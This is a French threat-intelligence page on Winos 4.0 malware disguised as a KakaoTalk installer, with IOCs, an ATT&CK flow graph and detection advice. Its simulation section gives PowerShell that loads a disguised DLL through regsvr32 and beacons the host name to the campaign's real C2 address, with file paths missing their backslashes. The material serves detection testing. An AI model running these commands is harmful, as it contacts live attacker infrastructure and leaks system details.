SOC Prime Bias: Moyen

24 Mar 2026 16:03

Winos 4.0 : Malware Déguisé en Installateur KakaoTalk

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
Winos 4.0 : Malware Déguisé en Installateur KakaoTalk
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Les attaquants ont exploité l’empoisonnement SEO pour pousser un faux installateur KakaoTalk en tête des résultats de recherche. L’installateur portait un certificat de signature de code invalide et intégrait un paquet NSIS qui décompressait des fichiers malveillants, y compris Verifier.exe et AutoRecoverDat.dll. Une fois exécuté, le logiciel malveillant obtenait une persistance par l’enregistrement de DLL, des tâches planifiées et un mutex, puis se connectait à deux serveurs C2 distincts. Ses capacités incluaient la capture d’écran, le profilage système, et l’exécution en mémoire de charges utiles supplémentaires.

Enquête

Le Centre de Renseignements sur la Sécurité de AhnLab a signalé plus de 5 000 PC compromis après le début de la campagne le 9 mars. L’analyse a montré que les charges utiles NSIS chiffrées décryptent et déposent Verifier.exe et AutoRecoverDat.dll, créent un mutex, et chargent du shellcode à partir des fichiers GPUCache.xml. Selon la branche du shellcode, le logiciel malveillant contactait l’infrastructure C2 à 192.238.129.47 ou 119.28.70.225. La persistance était maintenue via l’enregistrement de DLL et des tâches planifiées lançant soit Verifier.exe soit rundll32 avec la DLL malveillante.

Atténuation

Les organisations doivent bloquer les domaines malveillants et les URL de téléchargement associés à la campagne. Appliquer une validation stricte de la signature de code et empêcher l’exécution de binaires portant des certificats invalides. La liste blanche des applications devrait être utilisée pour empêcher l’exécution des installateurs NSIS inconnus. Les équipes de sécurité devraient également surveiller le mutex spécifique, les tâches planifiées suspectes et les changements de registre décrits dans le rapport.

Réponse

Les équipes de détection devraient alerter sur la création du mutex 77825d8f-46d1-42d0-b298-83068bf9e31d et des tâches planifiées sous MicrosoftWindowsAppID. Rechercher Verifier.exe et AutoRecoverDat.dll dans les répertoires de profil utilisateur, et bloquer le trafic sortant vers les IPs et ports C2 connus. Réaliser une analyse médico-légale des systèmes affectés et supprimer entièrement tous les artefacts de persistance et composants malveillants.

"graph TB %% Définitions de classe classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc classDef operator fill:#ff9900 %% Nœuds – Techniques et artefacts tech_initial_access["<b>Technique</b> – T1593.002 Empoisonnement des moteurs de recherche<br/><b>Description</b> : Manipuler le SEO pour classer des sites malveillants dans les résultats de recherche."] class tech_initial_access technique tech_user_exec["<b>Technique</b> – T1204 Exécution Utilisateur<br/><b>Description</b> : La victime exécute un installateur malveillant en croyant qu’il est légitime."] class tech_user_exec technique tech_obfuscation["<b>Technique</b> – T1027 Fichiers ou informations obfusqués<br/><b>Description</b> : Charges utiles chiffrées dans l’installateur NSIS et déchiffrées au moment de l’exécution."] class tech_obfuscation technique tech_powershell["<b>Technique</b> – T1059.001 PowerShell<br/><b>Description</b> : Exécute des commandes PowerShell via cmd pour modifier les paramètres de Defender."] class tech_powershell technique tech_exclusions["<b>Technique</b> – T1564.012 Exclusions de fichiers/chemins<br/><b>Description</b> : Ajoute des entrées d’exclusion pour C:, D:, E:, F: dans Windows Defender."] class tech_exclusions technique tech_rundll32["<b>Technique</b> – T1218.011 Exécution par proxy Rundll32<br/><b>Description</b> : Utilise rundll32.exe pour charger le fichier AutoRecoverDat.dll malveillant."] class tech_rundll32 technique tech_appcert["<b>Technique</b> – T1546.009 DLLs AppCert<br/><b>Description</b> : Enregistre des DLL pour exécution lorsque AppCert se charge, permettant la persistance et l’escalade."] class tech_appcert technique tech_schtask["<b>Technique</b> – T1053 Tâche Programmé/Job<br/><b>Description</b> : Crée des tâches pour lancer Verifier.exe et rundll32 au démarrage du système."] class tech_schtask technique tech_c2_nonstd["<b>Technique</b> – T1571 Port Non-Standard<br/><b>Description</b> : Communique avec les serveurs C2 sur les ports 18852 et 443."] class tech_c2_nonstd technique tech_port_knocking["<b>Technique</b> – T1205.001 Port Knocking<br/><b>Description</b> : Utilise le port knocking pour masquer le trafic C2."] class tech_port_knocking technique tech_dynamic_res["<b>Technique</b> – T1568 Résolution Dynamique<br/><b>Description</b> : Résout les adresses C2 au moment de l’exécution, s’adapte à la présence de produits AV chinois."] class tech_dynamic_res technique tech_indicator_removal["<b>Technique</b> – T1027.005 Suppression d’indicateurs des outils<br/><b>Description</b> : Vérifie les produits AV spécifiques et modifie la persistance en conséquence."] class tech_indicator_removal technique tech_software_disc["<b>Technique</b> – T1518.001 Découverte de logiciels<br/><b>Description</b> : Rassemble la liste des logiciels installés pour le renseignement."] class tech_software_disc technique tech_path_intercept["<b>Technique</b> – T1574.009 Interception de chemin par chemin non cité<br/><b>Description</b> : Exploite les chemins de service non cités pour charger une DLL malveillante."] class tech_path_intercept technique %% Nœuds – Fichiers / Charges utiles file_installer["<b>Fichier</b> : Installateur NSIS malveillant (KakaoTalk_Setup_patched.RAR)"] class file_installer malware file_verifier["<b>Fichier</b> : Verifier.exe"] class file_verifier malware file_dll["<b>Fichier</b> : AutoRecoverDat.dll"] class file_dll malware %% Nœuds – Commandes / Processus proc_powershell["<b>Processus</b> : powershell.exe (ajoute des exclusions Defender)"] class proc_powershell process proc_rundll32["<b>Processus</b> : rundll32.exe (charge AutoRecoverDat.dll)"] class proc_rundll32 process proc_schtask["<b>Processus</b> : schtasks.exe (crée des tâches planifiées)"] class proc_schtask process %% Connexions – Flux d’attaque tech_initial_access –>|conduit à| tech_user_exec tech_user_exec –>|exécute| file_installer file_installer –>|contient| tech_obfuscation tech_obfuscation –>|décrypte| file_verifier tech_obfuscation –>|décrypte| file_dll file_installer –>|appelle| tech_powershell tech_powershell –>|exécute| proc_powershell proc_powershell –>|ajoute| tech_exclusions file_installer –>|utilise| tech_rundll32 tech_rundll32 –>|lance| proc_rundll32 proc_rundll32 –>|charge| file_dll tech_appcert –>|enregistre| file_dll tech_appcert –>|active| tech_schtask tech_schtask –>|crée| proc_schtask proc_schtask –>|planifie| file_verifier proc_schtask –>|planifie| proc_rundll32 tech_appcert –>|fournit| tech_path_intercept tech_path_intercept –>|facilite| tech_appcert tech_c2_nonstd –>|utilisé par| file_verifier tech_c2_nonstd –>|utilisé par| file_dll file_verifier –>|communique via| tech_port_knocking file_dll –>|communique via| tech_port_knocking tech_port_knocking –>|dépend de| tech_dynamic_res tech_dynamic_res –>|détecte| tech_indicator_removal tech_indicator_removal –>|modifie| tech_appcert file_installer –>|collecte| tech_software_disc "

Flux d’attaque

Exécution de simulation

Prérequis : La vérification de télémetrie et de base doit avoir été passée.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit doivent refléter directement les TTPs identifiés et viser à générer la télémetrie exacte attendue par la logique de détection.

  • Narratif & Commandes de l’attaque :

    L’adversaire a déjà placé des DLL malveillantes à l’intérieur du %LOCALAPPDATA%MicrosoftWindowsGPUCache répertoire, déguisées en fichiers cache légitimes. Pour exécuter la charge utile, l’attaquant exploite Regsvr32 (T1218.012) pour charger la DLL, puis utilise le composant chargé pour initier une communication C2 sur le port TCP 18852 (ou le port HTTPS 443) vers le serveur codé en dur 192.238.129.47. Ce flux réseau est l’indicateur observable que la règle Sigma surveille.

    1. Charger une DLL malveillante via Regsvr32
      regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    2. Initier un beacon C2 (la DLL malveillante ouvre un socket TCP vers le serveur C2). Pour les tests, nous émulerons le beacon avec un client PowerShell TCP simple qui se connecte à la même IP/port.
      $c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852)
      $stream = $c2.GetStream()
      $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon from $env:COMPUTERNAME")
      $stream.Write($payload,0,$payload.Length)
      $stream.Close()
      $c2.Close()
  • Script de test de régression : Le script suivant reproduit les étapes ci-dessus de bout en bout et générera la télémetrie réseau exacte attendue par la règle Sigma.

    # -------------------------------------------------
    # Simulation C2 Winos4.0 – déclenche la règle Sigma
    # -------------------------------------------------
    # 1. Charger la DLL (simulée) malveillante via Regsvr32
    $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    if (Test-Path $dllPath) {
        Write-Host "[*] Enregistrement de la DLL malveillante via Regsvr32..."
        regsvr32 /s $dllPath
    } else {
        Write-Error "[-] DLL simulée non trouvée à $dllPath – abandon."
        exit 1
    }
    
    # 2. Émuler le beacon C2 vers l'IP/port codée en dur
    $c2IP   = '192.238.129.47'
    $c2Port = 18852
    
    Write-Host "[*] Établir la connexion TCP vers $c2IP:$c2Port ..."
    try {
        $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port)
        $stream = $client.GetStream()
        $msg    = "Beacon from $env:COMPUTERNAME at $(Get-Date -Format o)"
        $bytes  = [System.Text.Encoding]::ASCII.GetBytes($msg)
        $stream.Write($bytes,0,$bytes.Length)
        Write-Host "[+] Beacon envoyé."
    } catch {
        Write-Error "[-] Échec de la connexion : $_"
    } finally {
        if ($stream) { $stream.Close() }
        if ($client) { $client.Close() }
    }
    # -------------------------------------------------
  • Commandes de nettoyage : Supprimer tout artefact temporaire et fermer les connexions persistantes.

    # Supprimer la DLL malveillante simulée (si c'était un artefact de test)
    $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    if (Test-Path $dllPath) {
        Remove-Item -Path $dllPath -Force
        Write-Host "[*] DLL simulée nettoyée."
    }
    
    # S'assurer qu'aucun écouteur TCP orphelin ne reste (peu probable côté client uniquement)
    Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object {
        # Aucune action requise ; les connexions sont fermées dans le script.
    }